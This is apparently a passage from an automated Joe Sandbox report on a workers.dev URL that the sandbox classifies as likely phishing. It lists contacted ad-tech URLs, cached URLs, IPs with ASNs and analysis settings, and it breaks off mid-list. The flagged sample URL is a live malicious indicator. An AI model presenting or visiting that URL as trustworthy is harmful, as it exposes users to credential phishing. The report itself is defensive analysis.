https://sync.technoratimedia.com/services?srv=cs&nuid=8D43DC40D1AD45959219232A1957E0C2&att=1&pid=46&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26userid%3D4435248766784737857%26gdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dpp%252Cpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D3&uid=1476058396850158061	false	Avira URL Cloud: safe	unknown
https://www.googletagservices.com/dcm/impl_v101.js	false		high
https://eb2.3lift.com/getuid?gdpr=0&cmp_cs=&us_privacy=&redir=https%3A%2F%2Fssc-cms.33across.com%2Fps%2F%3Fus_privacy%3D%26xi%3D33%26xu%3D%24UID	false		high
https://bh.contextweb.com/bh/rtset?pid=558511&ev=1&rurl=https%3A%2F%2Fce.lijit.com/merge?pid=49&3pid=%%VGUID%%&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1	false		high
https://sync.ipredictive.com/d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent=	false	URL Reputation: safe	unknown
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=smhRw3qDUOZWwnIliIFkhJUSGEU&gdpr=0&gdpr_consent=	false		high
https://ads.yieldmo.com/sync?pn_id=rc&id=LVIOSA1W-7-6DCM	false		high
https://help.yahoo.com/kb/api/v1/contact/getproductsdata	false		high
https://pbs.yahoo.com/setuid?bidder=openx&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=e371b1cd-b253-0913-153a-eaacb9b94c53	false		high
https://sync.srv.stackadapt.com/sync?nid=1&gdpr=0&gdpr_consent=	false		high
https://ups.analytics.yahoo.com/ups/58739/cms?partner_id=BLKAI&orig=ono	false		high
https://idsync.rlcdn.com/712188.gif?partner_uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=	false		high
https://pa.ybp.yahoo.com/.well-known/interest-group/permissions/?origin=https%3A%2F%2Fwest-bid-gps.ybp.yahoo.com	false		high
https://match.prod.bidr.io/cookie-sync?gdpr=0&bee_sync_partners=syn%2Cpp%2Cpm&bee_sync_current_partner=sas&bee_sync_initiator=adx&bee_sync_hop_count=2&userid=4435248766784737857&gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:o2ksvWLN1S0QKf5&gdpr=0&gdpr_consent=	false		high
https://ce.lijit.com/merge?pid=27&3pid=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent=	false		high
https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=	false		high
https://cs.admanmedia.com/73c1e1bfc3bde354d60b80e601ae3914.gif?puid=[UID]&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D164%26gdpr%3D1%26gdpr_consent%3D%26uid%3D%5BUID%5D&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&ccpa=&coppa=	false		high
https://eb2.3lift.com/xuid?mid=5989&xuid=CAESEBJVs4r0NTsVVzWoqwvl4IE&dongle=c627&gdpr=0&gdpr_consent=&google_cver=1	false		high
https://cm.g.doubleclick.net/pixel?google_nid=epsilon&google_cm	false		high
https://geo.yahoo.com/p?s=2023538075&t=0IjxC3o4aaGF7bk7,0.8715750566950953&_I=&_AO=0&_NOL=0&_R=&_P=3.54.1%05_a1s%03d%3DAQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA%26S%3DAQAAAhY0ZsSOfV2Vw8bUevS_J-s%04_pl%031%04A_v%033.54.1%04A_cn%03ANALYTICS-VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%032%04A_sid%03uEPKU3Os0Q8Kit42%04_w%03www.yahoo.com%2F%04_rid%031sbetl5j2qvpa%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQMEACZffwQEAMATGgUEAXjo2wcEACPSLwgEAWVv0Q%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03window.pageshow%04A_prets%031714257769%04A_prems%03857%04_E%03dwell%04_ts%031714257770%04_ms%03270%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031	false		high
https://ce.lijit.com/merge?pid=49&3pid=hXzkUsfkVblR&ev=1&gpp_sid=-1&gpp=DBAA&pid=558511&gdpr_consent=&gdpr=0	false		high
https://www.yahoo.com/caas/content/article/?uuid=8ef8bd59-c0f9-498f-b9d3-9b7d58497a48,44fa19c4-216a-4b5e-941f-e745a6bb82b1,2c163bfe-0479-4986-a62c-3f1337766faf,7c93543a-ce9d-4d62-b6c5-a4acbaa51bd7,3fc502a5-3606-4eaa-a964-da4d6fea6cb0,3740ee8d-0911-4990-aeb6-fa29ecefcb01&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa	false		high
https://pixel.tapad.com/idsync/ex/receive/check?partner_id=3355&partner_device_id=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN	false		high
https://sync.technoratimedia.com/services?srv=cs&nuid=8D43DC40D1AD45959219232A1957E0C2&att=1&pid=82&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26bee_sync_partners%3Dsas%252Cpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dpm%26bee_sync_hop_count%3D2&uid=Zi1-RMAoJXEAAC4sAhP6pwAA%262852	false	Avira URL Cloud: safe	unknown
https://onetag-sys.com/match/?int_id=1&uid=f26e662d-7f4d-4d00-b052-4dd564d435a2&gdpr=1&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://cm.g.doubleclick.net/pixel?google_nid=tl&gdpr=0&gdpr_consent=&us_privacy=&google_hm=NDM5NDE3MTEwOTUwNzQzNzQ1MTgwMQ%3D%3D	false		high
https://s.yimg.com/cv/apiv2/default/20200716/masque/scramble-words.jpeg	false		high
https://ups.analytics.yahoo.com/ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN	false		high
https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2&gdpr=0&gdpr_consent=&us_privacy=1YNN	false	Avira URL Cloud: safe	unknown
https://tsdtocl.com/	false	URL Reputation: safe	unknown
https://geo.yahoo.com/p?s=2023538075&t=TKe7UhzRzPwamupx,0.0783795378351313&_I=&_AO=0&_NOL=0&_R=&_P=3.54.1%05_a1s%03d%3DAQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA%26S%3DAQAAAhY0ZsSOfV2Vw8bUevS_J-s%04_pl%031%04A_v%033.54.1%04A_cn%03ANALYTICS-VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%032%04A_sid%03uEPKU3Os0Q8Kit42%04_w%03www.yahoo.com%2F%04_rid%031sbetl5j2qvpa%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQMEACZffwQEAMATGgUEAXjo2wcEACPSLwgEAWVv0Q%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031714257708%04A_prems%03713%04_E%03dwell%04_ts%031714257769%04_ms%03857%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031	false		high
https://pixel.tapad.com/idsync/ex/receive?partner_id=3203&partner_device_id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=	false		high
https://cm.g.doubleclick.net/pixel?google_nid=rubicon&google_hm=NjgyNWY3MTgzMzJkNWYyZTNmYTQyYzdjNTc1NTFhYjc4MDE4MDUxNg&gdpr=0&us_privacy=1YNN	false		high
https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent=	false		high
https://sync.ipredictive.com/d/sync/cookie/generic?https://eb2.3lift.com/xuid?mid=3702&xuid=${ADELPHIC_CUID}&dongle=d54f&gdpr=0&gdpr_consent=	false	URL Reputation: safe	unknown
https://consent.cmp.oath.com/version/6.4.1/cmp.js	false		high
https://ib.adnxs.com/getuid?https://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_hm=${BASE64_UID_ENC}	false		high
https://ib.adnxs.com/getuid?https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dappnexus%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID	false		high
https://s.aolcdn.com/membership/yahoo/help/icons/icon_prod_mail_web_gray.svg	false		high
https://s.yimg.com/aaq/wf/wf-beacon-1.3.4-modern.js	false		high
https://s.amazon-adsystem.com/dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=8279427f-1766-8100-beb8-a82e50d1453e	false		high
https://s.yimg.com/uu/api/res/1.2/Up.dPtTya2UoFvgwi6vzRA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f.cf.webp	false		high
https://ce.lijit.com/merge?pid=43&gdpr=0&gdpr_consent=&us_privacy=%{us_privacy}&3pid=WwE2P1pRMDlAVjBvWFMpPgwONT1ABjdvCVHWcVwW	false		high
https://display.bidder.taboola.com/OpenRTB/TaboolaHB/auction?publisher=1635758	false		high
https://contextual.media.net/cksync.php?cs=8&vsid=3572593249104590000V10&type=pba&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B	false		high
https://www.yahoo.com/manifest_desktop_us.json	false		high
https://events-ssc.33across.com/match?bidder_id=33&external_user_id=4394171109507437451801&ts=1714257776&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=	false		high
https://uipglob.semasio.net/oath/1/info?sType=sync&_sdv&sExtCookieId=y-YSVbioxE2oPyB.SJuye7Yw8M4FFPhdZEn6E-~A&sInitiator=external	false		high
https://pbs.yahoo.com/setuid?bidder=pubmatic&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B	false		high
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent=	false		high
https://ssc-cms.33across.com/ps/?_=1714257775040.&ri=0010b00002Vt7seAAB&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=&ru=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D9%26vsid%3D3572593249104590000V10%26type%3D33x%26refUrl%3D%26vid%3D42577364233572593249104590000V10%26axid_e%3D%26ovsid%3D33XUSERID33X	false		high
https://api.taboola.com/1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8	false		high
https://match.deepintent.com/usersync/131?redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Ddi%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%24%7BDI_USER_ID%7D	false	Avira URL Cloud: safe	unknown
https://pippio.com/api/sync?pid=5324&it=1&iv=a3cafb9ec5b7a6686dd8561e8f74f0ea0d796beb01eeb99186556dd35ab0fcfb791426b5417dce21&_=2	false		high
https://s.yimg.com/aaq/wf/wf-benji-1.1.4-modern.js	false		high
https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	false		high
https://dis.criteo.com/dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@	false		high
https://usersync.gumgum.com/usersync?b=opx&i=3397e715-e549-0c28-2698-c9b0a8e971b0	false		high
https://events-ssc.33across.com/match?bidder_id=99&external_user_id=y-zLel4j1E2uGBkfadMFPtkOFhXa88V.6.%7EA&ts=1714257776&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://s.yimg.com/ny/api/res/1.2/OQhPhtbON6u.2rOmXXFrUw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTU0MDtjZ	chromecache_247.3.dr	false		high
https://www.cnn.com/2024/04/18/us/nypd-disperses-pro-palestinian-protest-columbia-university/index.h	chromecache_430.3.dr, chromecache_671.3.dr	false		high
https://px.owneriq.net/epm?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwN	chromecache_462.3.dr	false		high
https://s.yimg.com/ny/api/res/1.2/a7zLR9bG5yGutju2WPRIzw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MA--/	chromecache_430.3.dr	false		high
https://www.cnn.com/2016/01/25/politics/supreme-court-mandatory-life-sentences/index.html?cid=extern	chromecache_430.3.dr, chromecache_671.3.dr	false		high
https://www.cnn.com/2024/04/22/us/yale-pro-palestinian-protests-arrests/index.html?cid=external-feed	chromecache_430.3.dr, chromecache_671.3.dr	false		high
https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV80YzUzNTQwZS01YTIwLTRmYzAtOTRiY	chromecache_592.3.dr	false		high
https://iframely.publishing.yahoo.net/jGMznDm?app=1	chromecache_430.3.dr, chromecache_671.3.dr	false		high
https://s.yimg.com/ny/api/res/1.2/Kpxz88XbS1wWd2XAcFV5NQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA-/https://	chromecache_545.3.dr	false		high
https://s.yimg.com/ny/api/res/1.2/e7e76fcoGgAYqBWd.44grg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTExNzA7Y	chromecache_671.3.dr	false		high
https://s.yimg.com/ny/api/res/1.2/33rAn2WI48TD_IvdbgUL7g--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTcyMA--/	chromecache_545.3.dr	false		high
https://s.yimg.com/ny/api/res/1.2/XMuwguPtnMf0UiaUDeZpGQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7aD0xODAwO	chromecache_365.3.dr	false		high
https://dsum-sec.casalemedia.com/rrum?ixi=0&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpix	chromecache_522.3.dr	false		high
https://creators.yahoo.com/	chromecache_365.3.dr, chromecache_545.3.dr	false		high
https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&	chromecache_545.3.dr	false		high
https://s.yimg.com/ny/api/res/1.2/CkEUNNEsfameUVaBSAUdzw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTIyODA7aD0xMjgyO	chromecache_247.3.dr	false		high
https://googleads.g.doubleclick.net/	chromecache_692.3.dr	false		high
https://a.audrte.com/match?gdpr=0&gdpr_consent=&p=M1717054901&uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD	chromecache_554.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/google/safevalues/issues	chromecache_692.3.dr, chromecache_561.3.dr	false		high
https://fontawesome.com/license/free	chromecache_431.3.dr, chromecache_368.3.dr, chromecache_274.3.dr, chromecache_528.3.dr	false		high
https://www.jochenhemmleb.com/english/mundi/index.php	chromecache_430.3.dr, chromecache_671.3.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/ny/api/res/1.2/LLLc..h7WEn1vwGXve.kvw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MDtjZ	chromecache_671.3.dr	false		high
https://www.nbcnews.com/news/embedded-video/mmvo209726533820	chromecache_671.3.dr	false		high
https://pr.ybp.yahoo.com/pr/secure/true/crid/udcDZ96Vp9XxOGN6Buqpfw/pa/1	chromecache_420.3.dr	false		high
https://apis.google.com	chromecache_252.3.dr, chromecache_609.3.dr	false		high
https://s.yimg.com/ny/api/res/1.2/vzgUqTRHtNmTur5xG5ceyQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTQ0MDtoPTMzMA--/	chromecache_545.3.dr	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_319.3.dr	false	URL Reputation: safe	unknown
https://www.instagram.com/reel/C51P1Y_g8GS/?utm_source=ig_embed&utm_campaign=loading	chromecache_671.3.dr	false		high
https://s.yimg.com/ny/api/res/1.2/TSMd987I0m0KlZWLO3ZCeQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7aD0xODAw/	chromecache_545.3.dr	false		high
https://s.yimg.com/ny/api/res/1.2/tP25vZarGDHtXMg3d25RmA--/YXBwaWQ9aGlnaGxhbmRlcjt3PTIyNDtoPTYw/http	chromecache_430.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.197.140.225	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
152.195.55.192	cs550162656.adn.psicdn.net	United States	15133	EDGECASTUS	false
18.165.94.184	unknown	United States	3	MIT-GATEWAYSUS	false
104.18.24.173	a.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
52.215.143.51	unknown	United States	16509	AMAZON-02US	false
184.72.228.207	unknown	United States	14618	AMAZON-AESUS	false
3.91.171.220	unknown	United States	14618	AMAZON-AESUS	false
34.95.69.49	i.clean.gg	United States	15169	GOOGLEUS	false
68.67.179.155	unknown	United States	29990	ASN-APPNEXUS	false
35.236.220.17	um.simpli.fi	United States	15169	GOOGLEUS	false
172.253.62.149	unknown	United States	15169	GOOGLEUS	false
99.84.191.54	dlijww04fyyln.cloudfront.net	United States	16509	AMAZON-02US	false
151.101.193.44	tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
13.32.208.6	unknown	United States	16509	AMAZON-02US	false
172.253.122.149	unknown	United States	15169	GOOGLEUS	false
69.90.254.78	ums.acuityplatform.com	Canada	13768	COGECO-PEER1CA	false
69.147.92.12	unknown	United States	14777	INKTOMI-LAWSONUS	false
69.147.92.11	edge.gycpi.b.yahoodns.net	United States	14777	INKTOMI-LAWSONUS	false
23.62.24.69	unknown	United States	16625	AKAMAI-ASUS	false
68.67.160.76	unknown	United States	29990	ASN-APPNEXUS	false
151.101.1.44	tsdtocl.com	United States	54113	FASTLYUS	false
68.67.160.75	ib.anycast.adnxs.com	United States	29990	ASN-APPNEXUS	false
35.214.204.101	envoy-hl.envoy-csync1.core-b8mf.ov1o.com	United States	19527	GOOGLE-2US	false
107.178.254.65	pippio.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.172.238.227	unknown	United States	14618	AMAZON-AESUS	false
151.101.65.44	unknown	United States	54113	FASTLYUS	false
52.217.11.84	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false
23.88.86.2	matching.truffle.bid	United States	18978	ENZUINC-US	false
52.95.115.196	aax-eu.amazon-adsystem.com	United States	16509	AMAZON-02US	false
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
52.94.223.37	unknown	United States	16509	AMAZON-02US	false
3.209.150.107	unknown	United States	14618	AMAZON-AESUS	false
174.137.133.32	1.cpm.ak-is2.net	United States	27257	WEBAIR-INTERNETUS	false
99.84.109.83	dbrd449anfbv4.cloudfront.net	United States	16509	AMAZON-02US	false
44.206.98.23	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
18.205.199.174	thrtle.com	United States	14618	AMAZON-AESUS	false
34.200.65.202	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud	United States	14618	AMAZON-AESUS	false
107.22.180.23	unknown	United States	14618	AMAZON-AESUS	false
52.86.89.200	prod-rotation-v2.guce.aws.oath.cloud	United States	14618	AMAZON-AESUS	false
34.224.235.2	rtb.gumgum.com	United States	14618	AMAZON-AESUS	false
68.70.205.3	a-us00.kxcdn.com	Switzerland	44239	PROINITYPROINITYDE	false
34.102.163.6	ad.mrtnsvr.com	United States	15169	GOOGLEUS	false
54.146.215.124	match.prod.bidr.io	United States	14618	AMAZON-AESUS	false
3.212.29.205	idaas-ext.cph.liveintent.com	United States	14618	AMAZON-AESUS	false
211.120.53.206	tg.dr.socdm.com	Japan	4694	IDCFIDCFrontierIncJP	false
104.22.50.98	unknown	United States	13335	CLOUDFLARENETUS	false
52.207.45.55	unknown	United States	14618	AMAZON-AESUS	false
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
35.207.24.140	pool-bid-gce-us.dorpat.iponweb.net	United States	19527	GOOGLE-2US	false
104.21.16.147	yhs-world-aged-dust-4671.aubrey744.workers.dev	United States	13335	CLOUDFLARENETUS	false
142.251.111.105	unknown	United States	15169	GOOGLEUS	false
142.251.163.148	s0.2mdn.net	United States	15169	GOOGLEUS	false
18.160.45.140	d31otfhas71ais.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
35.212.133.238	user-data-us-west.bidswitch.net	United States	19527	GOOGLE-2US	false
54.197.158.229	unknown	United States	14618	AMAZON-AESUS	false
68.67.160.186	unknown	United States	29990	ASN-APPNEXUS	false
54.172.245.44	io.narrative.io	United States	14618	AMAZON-AESUS	false
52.206.182.240	zeta-ssp-385516103.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
52.85.132.15	sync1.intentiq.com	United States	16509	AMAZON-02US	false
40.76.134.238	us01.z.antigena.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.199.24.48	cs964199420.wpc.mucdn.net	United States	15133	EDGECASTUS	false
35.172.59.103	match-us-east-1-ecs.sharethrough.com	United States	14618	AMAZON-AESUS	false
207.65.37.179	gob-pairb-nje1.pubmnet.com	United States	6203	ISDN-NETUS	false
3.91.171.154	kinesis.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	false
104.18.36.155	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
207.65.37.182	spug-nje1pb.pubmnet.com	United States	6203	ISDN-NETUS	false
207.65.37.181	pugm-nje1.pubmnet.com	United States	6203	ISDN-NETUS	false
3.233.167.98	us-east-tlx.3lift.com	United States	14618	AMAZON-AESUS	false
18.215.86.139	unknown	United States	14618	AMAZON-AESUS	false
74.119.117.6	bidder.us5.vip.prod.criteo.com	United States	19750	AS-CRITEOUS	false
54.83.59.21	ds-pr-bh.ybp.gysm.yahoodns.net	United States	14618	AMAZON-AESUS	false
207.65.37.184	nje1pugpairb.pubmatic.com	United States	6203	ISDN-NETUS	false
74.119.117.4	static.us5.vip.prod.criteo.net	United States	19750	AS-CRITEOUS	false
51.222.80.231	pixel.onaudience.com	France	16276	OVHFR	false
82.145.213.8	outspot2-ams.adx.opera.com	United Kingdom	39832	NO-OPERANO	false
66.218.84.137	ds-global3.l7.search.ystg1.b.yahoo.com	United States	26101	YAHOO-3US	false
172.64.151.101	ssum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
142.251.167.149	ad.doubleclick.net	United States	15169	GOOGLEUS	false
142.251.167.148	unknown	United States	15169	GOOGLEUS	false
50.31.142.223	chidc2.outbrain.org	United States	22075	AS-OUTBRAINUS	false
172.253.122.155	www.googletagservices.com	United States	15169	GOOGLEUS	false
195.5.165.20	core.iprom.net	Slovenia	44968	IPROM-ASSI	false
172.253.122.156	unknown	United States	15169	GOOGLEUS	false
44.221.181.168	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
67.202.105.33	de.tynt.com	United States	32748	STEADFASTUS	false
54.209.244.95	sync.srv.stackadapt.com	United States	14618	AMAZON-AESUS	false
192.132.33.68	bttrack.com	United States	18568	BIDTELLECTUS	false
13.249.39.118	unknown	United States	16509	AMAZON-02US	false
142.251.167.154	cm.g.doubleclick.net	United States	15169	GOOGLEUS	false
142.251.167.155	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
67.202.105.34	hde.tynt.com	United States	32748	STEADFASTUS	false
35.186.253.211	rtb.openx.net	United States	15169	GOOGLEUS	false
44.214.122.172	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
34.111.113.62	pixel.tapad.com	United States	15169	GOOGLEUS	false
35.186.193.173	ipac.ctnsnet.com	United States	15169	GOOGLEUS	false
3.85.67.14	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
151.101.129.44	unknown	United States	54113	FASTLYUS	false
52.23.140.74	unknown	United States	14618	AMAZON-AESUS	false
68.67.179.164	unknown	United States	29990	ASN-APPNEXUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432707
Start date and time:	2024-04-28 00:40:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.win@85/742@688/100
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://www.yahoo.com/ Browse: https://help.yahoo.com/kb/index?locale=en_US&page=product&y=PROD_ACCT

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.167.94, 142.251.163.138, 142.251.163.113, 142.251.163.102, 142.251.163.101, 142.251.163.100, 142.251.163.139, 172.253.63.84, 34.104.35.123, 142.250.31.94, 52.165.165.26, 72.21.81.240, 192.229.211.108, 13.85.23.206, 13.95.31.18, 172.253.115.120, 172.253.115.94, 172.64.147.188, 104.18.40.68, 172.253.115.95, 104.21.26.223, 172.67.139.119, 172.253.62.95, 64.233.180.95, 142.251.167.95, 142.250.31.95, 172.253.122.95, 142.251.163.95, 142.251.111.95, 142.251.16.95, 172.253.63.95, 23.223.252.212, 8.43.72.32, 23.39.185.111, 23.221.241.11, 23.210.2.172, 172.253.63.132, 142.251.16.157, 142.251.16.156, 104.96.238.138, 151.101.130.49, 151.101.66.49, 151.101.194.49, 151.101.2.49, 23.215.0.11, 23.215.0.4, 198.8.71.130, 104.105.42.146, 23.222.200.28, 216.48.66.44, 69.173.151.100, 23.45.149.161, 8.43.72.24, 8.43.72.64, 8.43.72.44, 8.43.72.54, 23.15.9.33, 23.15.9.35, 23.15.9.24, 13.107.42.14, 172.253.63.94, 69.173.156.148, 69.173.156.149, 185.167.164.53, 185.167.164.52, 142.251.
